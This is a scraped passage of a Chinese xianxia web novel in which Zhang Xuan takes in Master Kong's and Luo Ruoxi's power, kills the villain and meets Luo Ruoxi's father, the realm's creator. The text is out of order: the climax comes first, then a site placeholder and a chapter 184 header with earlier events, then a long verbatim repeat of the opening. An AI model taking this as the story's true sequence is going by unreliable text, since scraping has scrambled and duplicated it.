眼前这位,只是普通神王,哪怕封号,天道都可以轻易杀死,可比帝君都要强大……已然不是天道可以抗衡的了。 “这……”洛若曦停顿了一下,洁白的玉面上露出失落之色:“是啊……没办法镇压,但是,天道完整,他就能醒过来,斩杀这位,并不难!” “他?”张悬皱眉。 “我带你去见他,就在自在天……”深吸一口气,洛若曦一咬牙,转身就向前飞去。 “想逃?”狠人冷哼,向下一按。 嘭! 洛若曦从空中坠落。 “你……”张悬剑法再次施展出来,剑意辉煌而出。 叮叮叮! 再次被狠人挡住。 “你们快走,我来挡住他……” 知道他们再想拯救神界的方法,而不是逃走,分身和不死帝尊,一声大喝挡在前面,洛七七也摇身一变,回归静空珠本体。 四周的空间凝固起来。 “走!” 见众人奋不顾身挡在后面,无畏惧死亡,张悬眼眶一红,不过,也知道现在不是多说的时候,一拉洛若曦,身体一晃,划破空间,下一刻已经出现在了自在天的范围。 自在天现在已经没了之前的自在,神界崩塌,四处一片混乱。 “你说的他,在哪里?” 没空去观察普通人的生活,张悬看向怀中的女孩。 如果她说的那人,真能拯救神界,自己牺牲又何妨! “他是我的父亲,你吊坠中的血液,就是他的,不死帝君,曾是他的兽宠……”洛若曦调息了一下,解释道。 “父亲?” 张悬恍然大悟。 难怪一直觉得吊坠中的血液和洛若曦相似,却又不同,原来是她父亲的。 这样也就解释了,为何不死帝君留下的那道意念,看到吊坠后,立刻认自己为主。 “你父亲也是帝君?或者拥有超越帝君的实力?” 忍不住道。 图书馆混乱,是吊坠中的血液,让自己恢复清醒,难不成,不仅她是帝君,父亲也是,甚至更加强大? 如果是这样的话,又为何会昏迷? 又需要天道有缺,才能让其清醒? “他不是帝君,而是……天道!” 洛若曦秀拳捏紧。 “天道?你父亲……是天道?”张悬一震,不敢相信。 “是!五十年前,父亲抵挡不住那只大手,陷入昏迷,天道崩散成三部分,天道有序和天道有缺,进入空间乱流,我代为掌控天道自然,维持神界的平衡。想要让他恢复,只有将散开的部分收集……所以,我才如此决绝,不能失败!才专门进入名师大陆,研究春秋大典,想办法战胜孔师!和孔师战斗的时候,拜托他的事,也是这个。” 洛若曦道。 张悬恍然。 名师大陆刚认识不久,眼前的女孩,就和自己讲述过她的故事,要救一位至亲,自己当时还不明白,现在才恍然大悟。 竟然是她父亲,而且还是神界天道! 天道真的能够化成人形,并且生儿育女吗? “代为掌控天道自然……你体内,没有天道碎片?”突然,意识到她语言中的不对劲,张悬看过来。 代为掌控,和自己这种融合在体内,是两种概念。 “我只是掌控,并不是天道的一部分……”洛若曦道。 张悬松了口气。 这样说起来,只需要自己将天道有缺剥离出来就行了,并不需要她也死亡。 尽管这种命运,不愿意接受,却也不愿意眼前的女孩,受到伤害。 “我将体内的天道有缺剥离出来,你父亲就能活过来,甚至将狠人击杀是吧?”张悬看来。 “这……我也不确定……” 抬头看了看已经崩塌的神界,洛若曦迟疑。 神界是父亲的根基,现在根基都这样了,就算清醒,真的能够将那个强大的狠人击败吗? 真不好说! “看来你也不能肯定,既然如此,求人不如求己……我们只有自己想办法!”张悬咬了咬牙:“你、我、分身,联合九天九帝,如果在配合上孔师,未必不能获胜!” “孔师?他……”洛若曦皱眉。 “孔师已经死了是吧!他并未真正死亡,如果猜的没错,他被你斩杀,只是用来脱离天道的方法……不出意外,他应该和魏长风一样,是【先天胎魂体】!” 张悬道。 看到魏长风,就明白过来,孔师所谓的保持灵智,应该和他一样,是先天胎魂体。 可以做到胎中不迷。 再加上提前留下的后手,复活,只是时间问题。 洛若曦愣住,似乎她没想到,会是这样。 “过去看看就知道了,猜的不错,他应该已经恢复,不然,他的那些学生,不可能连潮汐海都没去……”张悬道。 孔师的那些学生,子渊古圣等人,个个实力强劲,就算没有帝君帮助,也必然有办法进入潮汐海,可却一个都没见。 必然是有更重要的事情等着,想要趁所有帝君去潮汐海无暇顾及的时候去做! 而这种重要的事,明显就是让孔师恢复。 “这……”洛若曦心中一震,恍然大悟。 “走吧!” 不再解释,单手一划,张悬重新来到孔师居住的所在,果然看到一个老者盘膝悬浮在空中,见他们来到,微微一笑:“来了!” 不是孔师,又是何人! 这位万世之师,果然没让自己失望! 和猜测的一样,趁着所有人都将注意力集中在潮汐海的时候,重新复活了。 “你……”洛若曦娇躯一震。 她知道帝君可以复活,不死帝君也活过来了,但……没想到速度这么快! “我隐瞒天道,提前就准备了后手,幽魂池中的那个没有名字的巨人,就是我留下的,当日被你斩杀,我借机摆脱了天道的束缚,重新凝聚肉身,现在也刚刚恢复罢了!” 孔师微微一笑。 他精通时间能力,看起来神界只过了一、两天,实际上为了恢复力量,经历了不知多久。 几十年的时光,都有了。 “我们三人的实力,是很强,但想要胜过狠人,也没那么容易……” 见孔师果真恢复,洛若曦依旧摇头。 不是涨他人威风,灭自己志气,而是事实。 刚才这么多人联合,都没挡住对方,即便增加一个孔师,又能如何? 同样改变不了局面! “我们单个的实力,甚至联合在一起,的确不是对方的对手,但……如果将所有人的力量,都融合在一个人的身上呢?” 孔师笑着看过来。 “融合在一个人身上?” 这次不光洛若曦皱眉,张悬也满是疑惑。 “那个手掌能够撕裂神界,将天道都打散,实力之强,不容置疑,狠人将这股力量全部吸收,又吞噬了神界五十年的灵气,单凭实力,我们十几位帝君,单个拿出来,的确不是对手……” 孔师道:“但联合在一起,将力量集中在一人身上……就未必了吧!” “如何集中?” 洛若曦看过来。 说的简单,做起来难。 帝君已经站在神界最巅峰了,如果这么容易吸收别人的力量,她也不至于这么多年,停滞不前。 “很简单……我们将身上的力量,集中在张悬身上,一旦他能冲破帝君桎梏,就能救下神界!” 孔师道。 “我?”张悬一愣:“为什么是我?” “灵犀帝尊修炼的是自由自在,超脱自然!但有了父亲和天道的制约,有了牵挂的人,就永远没办法真正超脱!如果我没看错,当初和我战斗的时候,你也曾放弃过,打算被我斩杀吧!” 孔师道。 洛若曦说不出话来。 战斗的时候,的确有过这种打算,所以二人的交手,刚开始的时候,各自留着后手,宛如切磋,不像生死搏斗。 “无法超脱,自然也就发挥不出最强力量,即便给与再多的真气,同样无法冲击那至高的境界!至于我……” 孔师点头道:“心怀苍生,想要普度天下,却不愿意别人为我牺牲,仁慈太多,也是缺点!如果心狠一些,将异灵族灭族,就不会有现在的局面……” 当初如果能将异灵族人全部灭杀,狠人就不可能复活,也不会有现在的情况。 “所以,我也不适合!而张悬,功法顺心,没有缺陷。讲究活出自我,哪怕身死,只要活得无愧,就心中坦荡。这种人拥有更大的包容,更大的发展空间,只有这样,才能走的更高,更远!” 孔师继续道。 生当复来归,死当长相思! 连死亡都不在乎,又怎么会被其他事情所羁绊? “这……”张悬皱眉,正想说些什么,就见孔师目光炯炯的看过来:“不用推辞了,先说时间来不及,去培养其他人,就算来得及,我也觉得未必有人能比你做得更好!灵犀帝尊体内虽没有天道碎片,却常年掌控天道,对天道有着属于自己的理解;我掌控天道有序,如果我们将力量灌输给你,你体内就会拥有完整天道的力量!配合上分身的九天混沌金莲,完全可以做到定九天,掌乾坤,战九霄,灭万物!” “好吧!” 见对方已经做出决定,自己解释再多也无用,张悬点了点头。 轰隆! 盘膝做好,一眨眼功夫,两股雄浑的力量,就从两侧灌涌而来。 张悬全身一僵,整个人仿佛刹那间化身天道,翱翔在九天之上。 灵魂、肉身、真气,都在瞬间得到了洗礼,越来越强,越来越雄浑。 …… “你们也想拦我?也好,杀了你们,再去将张悬斩杀……” 将洛七七和分身等人拍飞,狠人冷冷一笑。 分身和诸多帝君联合施展而出的力量,的确很强大,不过,和他比,依旧弱了一些。 潮汐海将神界出了城市外的灵气,几乎全部吞噬干净,现在这些力量,都化作他的寄养,举手投足,带着毁灭天地的能力,这些帝君、神王,尽管代表了神界最巅峰,依旧不堪一击。 此时的狠人,仿佛代表了整个神界,无人能挡。 “神界灭亡,我们活着也没意义,我云螭,与你同归于尽……” 云螭大帝变化出本体,一头巨大的五爪金龙,凌空向他扑了过去。 “就你?不配!” 狠人手掌一捏,金龙就挂在掌心,无论如何挣扎,都逃脱不掉。 “老友,等我!” 扶猛帝君也一声大吼,变化出白虎本尊,凌空来到跟前。 不死帝君,不死火凤本尊显示出来,火焰照耀天空。 玄冥大帝,本尊乃一头大龟,宛如托举着诸天。 四大神兽,镇守神界四极,同时变化本体,崩塌的神界,都变得缓慢下来。 乾坤仿佛在瞬间定住。 嘭嘭嘭嘭! 连续四掌,狠人将四兽镇压下来,眼中闪过一道浓烈的杀意:“既然你们找死,我就成全你们……” 咆哮声中,正想下死手将众人全部抹杀,就感到扬起的手臂一紧,在空中停了下来。 “想要杀他们,问过我没有……” 随即,众人震惊的目光中,一个人影从空中缓步走了出来。 正是张悬! 此时的青年,全身力量澎湃,比刚才强大了十倍不止,自天而来,宛如整个人就是一个世界。 “进步了不少……” 狠人停了下来,目光凝重。 他显然也没明白,为何短短几分钟的光景,对方的实力有了如此巨大的变化。 “不过,增加了又如何?全盛期的神界,都抵挡不住,我不信,你能挡得住我……” 一声冷哼,狠人再次拍落而下。 张悬长剑扬起,迎了上来。 双方战斗在一起,空间一道道撕裂,气流四处乱窜。 “张悬能不能获胜?” 自在天孔师驻地,洛若曦满是担忧的看过去。 她和孔师将力量传递给张悬,自身修为,已经降低到只有神王级别,不如之前那么辉煌了。 不过,级别在哪里摆着,只要力量足够,终有一天,可以重新恢复。 “凭借现在的实力,想要胜过……很难!除非……他能领悟超越帝君的力量!” 沉默了片刻,孔师道。 十几个帝君联合,都无法胜过狠人,即便他们将力量全部传递给对方,想要胜过,也没那么容易。 之所以这样做,是因为……力量只有集中在一人身上,才有可能触碰到顶点,才有可能真正超越极限,突破自我! “超越帝君的力量?” 洛若曦眼神悠远。 父亲还清醒的时候,曾和她说过同样的话,但……她无法做到,自己心爱的男子,能够做到吗? “他一定能……他有着一颗不屈的心!和对这个世界的傲然。” 看出她心中的疑问,孔师笑道。 …… 嘭嘭嘭! 连续几招下来,张悬虎口开裂,胸口出现了一道巨大的伤痕,狰狞可怖。 和孔师说的一样,即便融合了他们二人的力量,体内形成了完整的天道,依旧不是对手。 “哈哈,还以为多厉害,不过如此!”狠人冷冷一笑。 “反正不是你的对手,早晚都会被杀,既然如此,我想死在你最强的攻击之下……”深吸一口气,张悬停了下来,不在进攻,反而看向眼前的狠人。 “好,我成全你,给你最强的攻击……” 听他这样说,狠人愣了一下,随即冷哼一声,手掌扬起。 哗啦! 一道青光出现在掌心,猛地拍落而下。 果然是最强攻击,整个神界都发出轰鸣,宛如快要承受不住,再次被打出一个巨大的坑洞。 双眼紧闭,张悬并未躲避。 嘭! 脑袋炸裂开来,灵魂四处溃散。 “张悬……”看到这一幕,所有人都脸色一白。 洛七七宛如发疯。 云螭大帝等人也瞪大眼睛,不停哆嗦。 看到这一幕的孔师和洛若曦也全都一愣。 本意是让他突破桎梏,冲击超越帝境境界的,怎么不去反抗,甘心赴死? 这样,岂不辜负了他们的一番好心? “不对,是不死帝君的不死之法……” 正在奇怪,孔师突然开口。 众人随即看到,脑袋炸开,甚至灵魂碎裂的张悬,胸口的吊坠陡然炸开,一滴血液悬浮而起,燃烧起来,形成了一团炙热的火焰,火焰中,一具完好无损的身影,缓步而出。 “他……借助对方的力量,和吊坠中的血液,将天道有缺和灵魂分离了?” 洛若曦瞳孔收缩。 浴火重生后的张悬,体内竟然没了天道图书馆,没了天道的干扰,脱离了天道! “他怎么做到的?” 孔师也满是不敢相信。 天道和灵魂融合在一起,不分彼此,为了摆脱,他不得不魂飞魄散,借助幽魂池重新凝聚魂魄。 眼前这位,只被斩杀了一下,就彻底摆脱,用了什么办法? “我知道了……他用了狠人摆脱灵魂契约的办法……”洛若曦反应过来。 灵魂契约绑定主人和仆人,主人不解除,仆人就永远受制……天道图书馆也是这样,可以说是一种增强版的契约。 绑定了灵魂,不死不会脱离。 但……狠人借助那种特殊力量摆脱了灵魂契约,具体方法,张悬之前详细询问过,恐怕那时就动了心思。 这才故意拼死,让其施展出最强力量对他攻击。 借助这种力量,浴火重生,没想到,果然大获成功! “原来如此,这才是突破帝君的方法……” 从火焰中走出的张悬,脸上露出淡淡的微笑,像是明白了什么,突然一招手,一侧的分身,立刻重新变成一朵莲花,飞了过来。 刹那间,与自身完美融合。 一眨眼功夫,众人感觉,眼前的张悬,像是变成了九天,九天就是他。 脚掌在地上轻轻一踏。 混乱的九天,立刻稳定下来。 九天混沌金莲,九天诞生时出现,能够稳定九天,此时分身和自我完美融合,不分彼此,也就等于他掌控了这种力量。 不仅如此,融合了九天混沌金莲的修为,他本就达到巅峰的境界,出现了松动,似乎随时都会突破。 “主仆情、兄弟情、师生情、父母情、爱情……融合在一起,原来就是世间万物,这才是人!” 面带微笑,张悬喃喃自语。 天道图书馆脱离灵魂的刹那,他明白过来。 是人看了世界,才有了世界,还是先有世界,后有了人? 是风动,还是心动! 这个问题,亘古不朽的困扰着无数人。 当然,现在……这些都不重要了! 没有生命,没有情感,世界就算存在,又有何意义? 所以,突破爱情之后,是众生情!是交织天下的情感。 世间万物皆有情感,有情才有世界,有情感,才能延续生命。 爱,是情。 憎,是情。 高兴,是情。 痛苦,是情。 离别,是情。 相聚,也是情! “万千情意,为我所用……” 一声低呼,张悬体内禁锢的境界,瞬间破开。 帝君桎梏,突破了! 一瞬间,仿佛触摸到了一个全新的世界和大门,灵魂得到了快速的滋养。 无数混沌之气,涌了过来,肉身也飞速提升。 之前只有吸收灵力,才能进步,而现在空间乱流、混沌之气,哪怕是对方的青光,都可以为我所有,不分彼此。 “你……”狠人没想到,自己的全力攻击,非但没将其斩杀,反而成全了他,气的“哇哇!”乱叫,一声怒喝,再次攻击下来。 “你怨恨高高在上的帝君,没在空间乱流中救下自己,是情;觉得曾是我的仆人,蕴含卑微和愤怒,是情;想要毁灭神界,发泄愤怒,是情;想要变得更加强大,同样是情……情感控制着你,你又如何胜得过我,不被我控制?” 淡淡一笑,张悬的声音越来越快,越来越响亮,手掌轻轻一抓。 原本纵横无敌的狠人,就被无数情感细线,禁锢在一起,束手束脚,无法动弹。 只要有情,就要被他所用,被他控制! “你……” 狠人眼中满是惶恐:“张师,我是你的仆人,不要杀我……我愿意灵魂献祭……” “现在再说这些,已经晚了……”微微一笑,张悬摇了摇头。 掌控天下之情,仆人之类对于他来说,已经没任何意义了。 杀了神级这么多人,伤了自己的女朋友,洛七七以及这么多朋友,今天,又怎么可能宽恕! “不……” 感受到他的果决,狠人瞳孔收缩,话音未结束,立刻感到身上一阵剧烈的疼痛。 嘭! 一刹那间,爆炸开来,化作无数灵气,向神界各处灌涌。 之前,潮汐海吞噬掉的所有力量,此时全部反哺回来,已经枯竭的荒野,重新焕发生机。 “这……” “这样就杀了?” 云螭大帝、不死帝君、玲珑仙子啊等人,全都瞪大了眼睛,不敢相信。 刚才他们和狠人交过手,知道可怕,这么强大的人,竟然随手覆灭,这位张悬……到底达到了何种地步? 难道帝君之上,真的还有另外的境界? “他成功了……” 孔师和洛若曦,松开捏紧的拳头。 “这是天道的一部分,那我现在就归还天道……” 看到刚才从自己体内,被分离出来的“天道有缺”,依旧在空中悬浮,张悬轻轻一笑,屈指一弹。 嗡! 从重生就伴随他的图书馆,轰然镶嵌在神界的天空之上。 大钟般的鸣响,不断崩溃的神界,肉眼可见的缓慢恢复,混乱的气流,也重新聚拢起来。 崩塌的神界,终于停了下来,干枯的灵气,也伴随狠人的死亡,慢慢复苏。 “看来,神界要重新迎接灵气复苏时代了……”张悬一笑。 潮汐海的窟窿,伴随天道的补全,已经恢复,神界恢复以前的盛况,只是时间问题。 “张悬,这边来……” 刚做完这些,脑中响起一个声音,张悬愣了一下,一步跨出。 这一步,不知飞了多远,随即看到一个青年站在面前。 正是之前传授自己剑法的那位。 “前辈,你……” 看到是他,张悬一愣。 之前就觉得这位,深不可测,现在才发现,比起自己,也只差了一丝而已,已然达到了帝君的最巅峰,比起之前的洛若曦,都强大不知多少。 “直呼我名字即可,我叫……聂铜!”青年身上散发出一往无前的剑意,淡淡道。 “聂铜?”张悬皱了皱眉。 第一次听到这个名字。 “跟我来,带你见我哥哥!”叫做聂铜的青年莞尔一笑,向前跨步而出。 张悬紧跟在身后,不知飞了多远,在一个山峰前停了下来。 随即看到了另外一个青年。 容貌比他大不了多少,双眉上扬,给人一种深邃不可看穿之感。 “这实力……”张悬一颤。 眼前这位青年的实力,竟然比他还要强大,同样突破了帝君的桎梏,而且修为更加深远厚重! “在下,聂云!”青年淡淡一笑,看了过来:“也就是……聂灵犀,你口中洛若曦的父亲!” “若曦的父亲?” 张悬一震:“你……是神界天道?” 之前洛若曦说过,自己的父亲,是天道,怎么都想不到,是这样一个年轻人。 “我一气化三清,一部分灵魂,变成了天道!再说,这个世界,是我创造的,说我是天道也无不可!”聂云淡淡一笑。 张悬不敢相信。 神界竟然是眼前这人创造的? 那他的实力,该有多强? “不对,如果神界是你创造的,你又是天道,为何任由狠人肆虐,而不出手……”张悬看过来。 如果不是自己突破,神界极有可能彻底崩塌,为何眼前这人,不管不问? 甚至连女儿的生死,都关心? 没回答他的问题,聂云淡淡的看过来:“你认为……神界之上,还有更加强大的生命吗?” “这……”张悬停顿了一下:“应该有吧……” 虽然没见过,但既然他能修炼到这种境界,或许其他人也可以,甚至更强。 就好像眼前这位。 “我曾怀疑,神界之上会有更强大的生命,所以用尽全力窥视,最终引来了更高世界的反噬……一个手掌破空而下!” 聂云看过来:“当时如果我躲闪,极有可能整个神界都会被抹平,再没有半个生命……所以,挡下了这招,但也因此,化身的天道被分裂出去。” “这种情况,我想恢复,只是一道意念而已,但……我明白,想要真正超脱神界桎梏,去探索手掌由何而来,神界之外,又有什么……单靠我一人很难做到。所以,想要看看,有没有生命,能够突破帝君桎梏,达到和我平齐的地步!” “所以,就将分散的天道意念,送到最底层的世界……分别赐予原本属于这个世界的灵魂,和一个不属于这个世界的灵魂。而你,最终没让我失望!” 聂云笑道。 “不属于这个世界的灵魂,这样说来,我穿越,也是因为你?”张悬心中一震。 难怪,能够穿越过来,没想到都是眼前这位所为。 “呵呵!”聂云轻轻一笑,道:“本身属于这个世界,就有着对世界的敬畏,想要突破世界桎梏,难度要大得多,我也是心念一动,并没想到,你真的能够成功……” “我……”张悬脸色一红:“如果不是孔师,我根本不可能达到这种地步……” 没有孔师的无私奉献,想要达到现在的境界,根本不可能做到。 “机会我给他了,没把握住而已。和灵犀的比斗,其实就是他突破的最佳机会,可惜,他选择了退避,以为自己留了后手,可以全身而退,实际上却是失去了勇猛精进,面对超越我们的人,如果连这点精神都没有,又如何能够与之抗衡?” 聂云道。 张悬沉默不语。 当时二人的战斗,他都看在眼里,孔师的确在果决上有些欠妥。 也有可能,他不愿意斩杀洛若曦吧。 可惜,就这一念之间,错过了晋级的机会。 “如果孔师获胜,若曦就会死……”片刻后,张悬看过来,眉毛皱起。 难不成,眼前这位连女儿的生死都不管了? “有我在,她不会死……”聂云淡淡一笑:“你现在的实力,和我也差不了多少了,你觉得二人的实力,生死关头,想要救人,能不能做到?” “这……”张悬苦笑。 突破帝君,和帝君,是两个概念,如果他真的愿意出手,的确可以在最后关头将人救下,而且保证,一点伤都受不了。 “灵犀,是我另外一个妻子洛倾城所生,所以她伪装的名字,姓洛……为了能让她相信,不感情用事,到现在一直以为我还陷入昏迷……” 聂云苦笑一声:“我这个爹也算做得够狠了……这样吧,这件事还是你和她解释吧,毕竟,她现在的心思,已经转移到你身上了,我这个老爹,估计都想不起来了……哈哈,我暂时就不出现了,躲避上一段时间再说,不然,真怕她闹得天翻地覆……” 看到眼前这位如此不靠谱的老爹,面皮一抽,张悬只好答应:“好吧……” 不答应也没办法,谁让自己拐走了人家的女儿…… “天道图书馆,是我一道意念所化,是根基,也是桎梏,你能靠自己的能力,突破桎梏,说明了能力和潜力,将来前途无量,我女儿能和你在一起,做父亲的,也算欣慰了。” 正在手打中,请稍等片刻,内容更新后,请重新刷新页面,即可获取最新更新! 第184章 被坚定的维护 灵魂契约,契合灵魂,只要自己不解除,哪怕对方手段通天,都无法化解。 就好像不死帝君小黄鸡,之前只是神王,他是帝君,同样没办法解决这种约定。 为了防止这家伙变卦,出现反噬的现象,名师大陆就曾专门定下,即便对方可以脱离天道之册,也无法挣脱灵魂间的约定啊! “灵魂契约,的确无法从识海中分裂出去,但我融合了连天道都可以化解的特殊气体,将这种契约化解掉,并不难……只要有足够力量,轰击契约所在之处,就能做到!” 狠人道。 灵魂契约,是建立在天道基础上的,特殊力量连神界天道都能化解,化解个灵魂契约,只要处理得当,又有何难? “原来如此……”张悬目光一闪。 “和你说这么多,也算感谢将我带到神界了!” 解释完,狠人不再多说,身上的气息愈发的亘古悠远,身后的黑洞变得更加巨大,显然说话的功夫,又吞噬了不知多少力量,做了滋补。 “张悬,黑洞吞的越多,他的实力越强……” 洛若曦也发现了不对劲,急忙传音过来。 “准备动手吧!”心中疑惑尽消,张悬深吸一口气,手中长剑,陡然扬起:“既然如此,那就手底下见真章吧!” 轰隆! 最强大的剑意,再次施展而出。 生当复来归,死当长相思! 生死皆不在乎,又有何事可以阻拦? 这一招剑法,虽然是没达到帝君领悟的,却蕴含了心中的一切执念,将体内的天若有情功法,发挥到了极限。 呼! 一剑将狠人的攻击,斩成两半。 同一时刻,洛若曦也出手了,玉手翻滚,剑芒如雪。 她的剑法和剑神天的那位青年有些相似,带着一往无前的气势,和大道自然的潇洒。 “你们的招数是很厉害,但对比我,还是差了些……” 轻轻一笑,狠人再次向下抓来。 一瞬间,遮天蔽日,手掌将天地都笼罩了,空间碎裂,日月星辰都仿佛要被硬生生打下来。 噗!噗! 张悬和洛若曦同时倒飞而出,人在空中鲜血狂喷。 以二人的实力,竟然抵挡不住! 这家伙到底达到了何种境界? “放肆!”分身大步踏来,每走一步,就有莲花绽放,虚空中带着流水的声音。 远远看去,逼格十足。 炼化九天混沌金莲,他的修为比起张悬,丝毫不弱。 一拳扬起,力量冲上九天。 和狠人对碰,同样倒飞而出,挡不住一招。 张悬捂住额头。 成就帝君了,分身依旧不改装逼的本性…… 这么绚丽的装逼,还不如将力量集中起来,威力更大! “一起出手,不然,他们死了,我们都会死……” 小黄鸡一声大喝,赤红的的火焰燃烧,天空都像被点燃。 剩下六大帝君,也各自施展手段。 七位帝君联合,毁天灭地,一方天地在面前都抵挡不住,但对方是吸收了特殊力量的狠人,攻击来到跟前,黑洞陡然变大,眨眼功夫就将力量吞噬干净,紧着着反击而出。 嘭嘭嘭嘭! 七位帝君和张悬等人一样,倒飞而出。 十大帝君,联合在一起,竟然都没挡住对方一招! 这家伙,怎么会这么强大? “你们可以死了……” 一招击溃众人,狠人向前一步,手腕一翻,再次拍了下来。 “鼠辈敢尔!” 伴随一声大喝,之前剑神天的那位老者,突兀出现,挡在面前,手中长剑化作银河。 “帝君?他也是帝君实力?” 张悬瞳孔一缩。 这位老者当初跟在青年身后,本以为只是个随从,最多封号神王,施展出力量才发现,竟然也是一位帝君强者! 如果他是帝君,那位青年,是什么? “他本身就是剑神天的帝君……”挣扎站着身来,洛若曦咬牙道。 “那……传我剑法的青年呢?”张悬再也忍不住。 “他是……”洛若曦刚想回答,空间一阵扭曲,随即看到剑神天的这位帝君,同样倒飞了出去,落在不远处,砸出一个大坑。 张悬现在的实力,和对剑道的领悟,远超过他,都抗衡不住,他即便修为不弱,剑术高明,依旧不是对手。 “哈哈,帝君,一群土鸡瓦狗而已!今天我就灭了九天,灭了这神界,将一切规则踏平!” 将剑神天的帝君击败,狠人疯狂大笑,四周的空间不停坍塌,衬托的他如妖如魔。 “怎么办?”张悬拳头捏紧。 刚才他和分身,都施展出最强战斗力了,甚至眼前的洛若曦,也将最强招数使用了出来,都没挡住对方的一招…… 难道神界,真的没人能够挡住眼前这位? 任由他将世界毁灭? “唯一的办法……是将你的天道有缺,回归天道本身,让天道将他镇压……”洛若曦秀拳捏紧,眼眶泛红。 “回归天道本身?”张悬知道她的意思。 脑海中的图书馆,本身是天道的一部分,一旦回归,天道就等于彻底完整了,或许就可以修复漏洞,自我将狠人排斥出去。 就好像人体的免疫系统。 免疫系统完整,病毒来了,轻易驱赶;坏了,抵抗不住病毒入侵,再强壮的人,也会因此死亡。 只是…… “他太强大了,即便天道恢复完整,也无法镇压吧!”张悬摇头。 病毒,免疫系统是可以斩杀,但……猛虎呢? 再强的免疫系统,又有什么办法? 眼前这位,只是普通神王,哪怕封号,天道都可以轻易杀死,可比帝君都要强大……已然不是天道可以抗衡的了。 “这……”洛若曦停顿了一下,洁白的玉面上露出失落之色:“是啊……没办法镇压,但是,天道完整,他就能醒过来,斩杀这位,并不难!” “他?”张悬皱眉。 “我带你去见他,就在自在天……”深吸一口气,洛若曦一咬牙,转身就向前飞去。 “想逃?”狠人冷哼,向下一按。 嘭! 洛若曦从空中坠落。 “你……”张悬剑法再次施展出来,剑意辉煌而出。 叮叮叮! 再次被狠人挡住。 “你们快走,我来挡住他……” 知道他们再想拯救神界的方法,而不是逃走,分身和不死帝尊,一声大喝挡在前面,洛七七也摇身一变,回归静空珠本体。 四周的空间凝固起来。 “走!” 见众人奋不顾身挡在后面,无畏惧死亡,张悬眼眶一红,不过,也知道现在不是多说的时候,一拉洛若曦,身体一晃,划破空间,下一刻已经出现在了自在天的范围。 自在天现在已经没了之前的自在,神界崩塌,四处一片混乱。 “你说的他,在哪里?” 没空去观察普通人的生活,张悬看向怀中的女孩。 如果她说的那人,真能拯救神界,自己牺牲又何妨! “他是我的父亲,你吊坠中的血液,就是他的,不死帝君,曾是他的兽宠……”洛若曦调息了一下,解释道。 “父亲?” 张悬恍然大悟。 难怪一直觉得吊坠中的血液和洛若曦相似,却又不同,原来是她父亲的。 这样也就解释了,为何不死帝君留下的那道意念,看到吊坠后,立刻认自己为主。 “你父亲也是帝君?或者拥有超越帝君的实力?” 忍不住道。 图书馆混乱,是吊坠中的血液,让自己恢复清醒,难不成,不仅她是帝君,父亲也是,甚至更加强大? 如果是这样的话,又为何会昏迷? 又需要天道有缺,才能让其清醒? “他不是帝君,而是……天道!” 洛若曦秀拳捏紧。 “天道?你父亲……是天道?”张悬一震,不敢相信。 “是!五十年前,父亲抵挡不住那只大手,陷入昏迷,天道崩散成三部分,天道有序和天道有缺,进入空间乱流,我代为掌控天道自然,维持神界的平衡。想要让他恢复,只有将散开的部分收集……所以,我才如此决绝,不能失败!才专门进入名师大陆,研究春秋大典,想办法战胜孔师!和孔师战斗的时候,拜托他的事,也是这个。” 洛若曦道。 张悬恍然。 名师大陆刚认识不久,眼前的女孩,就和自己讲述过她的故事,要救一位至亲,自己当时还不明白,现在才恍然大悟。 竟然是她父亲,而且还是神界天道! 天道真的能够化成人形,并且生儿育女吗? “代为掌控天道自然……你体内,没有天道碎片?”突然,意识到她语言中的不对劲,张悬看过来。 代为掌控,和自己这种融合在体内,是两种概念。 “我只是掌控,并不是天道的一部分……”洛若曦道。 张悬松了口气。 这样说起来,只需要自己将天道有缺剥离出来就行了,并不需要她也死亡。 尽管这种命运,不愿意接受,却也不愿意眼前的女孩,受到伤害。 “我将体内的天道有缺剥离出来,你父亲就能活过来,甚至将狠人击杀是吧?”张悬看来。 “这……我也不确定……” 抬头看了看已经崩塌的神界,洛若曦迟疑。 神界是父亲的根基,现在根基都这样了,就算清醒,真的能够将那个强大的狠人击败吗? 真不好说! “看来你也不能肯定,既然如此,求人不如求己……我们只有自己想办法!”张悬咬了咬牙:“你、我、分身,联合九天九帝,如果在配合上孔师,未必不能获胜!” “孔师?他……”洛若曦皱眉。 “孔师已经死了是吧!他并未真正死亡,如果猜的没错,他被你斩杀,只是用来脱离天道的方法……不出意外,他应该和魏长风一样,是【先天胎魂体】!” 张悬道。 看到魏长风,就明白过来,孔师所谓的保持灵智,应该和他一样,是先天胎魂体。 可以做到胎中不迷。 再加上提前留下的后手,复活,只是时间问题。 洛若曦愣住,似乎她没想到,会是这样。 “过去看看就知道了,猜的不错,他应该已经恢复,不然,他的那些学生,不可能连潮汐海都没去……”张悬道。 孔师的那些学生,子渊古圣等人,个个实力强劲,就算没有帝君帮助,也必然有办法进入潮汐海,可却一个都没见。 必然是有更重要的事情等着,想要趁所有帝君去潮汐海无暇顾及的时候去做! 而这种重要的事,明显就是让孔师恢复。 “这……”洛若曦心中一震,恍然大悟。 “走吧!” 不再解释,单手一划,张悬重新来到孔师居住的所在,果然看到一个老者盘膝悬浮在空中,见他们来到,微微一笑:“来了!” 不是孔师,又是何人! 这位万世之师,果然没让自己失望! 和猜测的一样,趁着所有人都将注意力集中在潮汐海的时候,重新复活了。 “你……”洛若曦娇躯一震。 她知道帝君可以复活,不死帝君也活过来了,但……没想到速度这么快! “我隐瞒天道,提前就准备了后手,幽魂池中的那个没有名字的巨人,就是我留下的,当日被你斩杀,我借机摆脱了天道的束缚,重新凝聚肉身,现在也刚刚恢复罢了!” 孔师微微一笑。 他精通时间能力,看起来神界只过了一、两天,实际上为了恢复力量,经历了不知多久。 几十年的时光,都有了。 “我们三人的实力,是很强,但想要胜过狠人,也没那么容易……” 见孔师果真恢复,洛若曦依旧摇头。 不是涨他人威风,灭自己志气,而是事实。 刚才这么多人联合,都没挡住对方,即便增加一个孔师,又能如何? 同样改变不了局面! “我们单个的实力,甚至联合在一起,的确不是对方的对手,但……如果将所有人的力量,都融合在一个人的身上呢?” 孔师笑着看过来。 “融合在一个人身上?” 这次不光洛若曦皱眉,张悬也满是疑惑。 “那个手掌能够撕裂神界,将天道都打散,实力之强,不容置疑,狠人将这股力量全部吸收,又吞噬了神界五十年的灵气,单凭实力,我们十几位帝君,单个拿出来,的确不是对手……” 孔师道:“但联合在一起,将力量集中在一人身上……就未必了吧!” “如何集中?” 洛若曦看过来。 说的简单,做起来难。 帝君已经站在神界最巅峰了,如果这么容易吸收别人的力量,她也不至于这么多年,停滞不前。 “很简单……我们将身上的力量,集中在张悬身上,一旦他能冲破帝君桎梏,就能救下神界!” 孔师道。 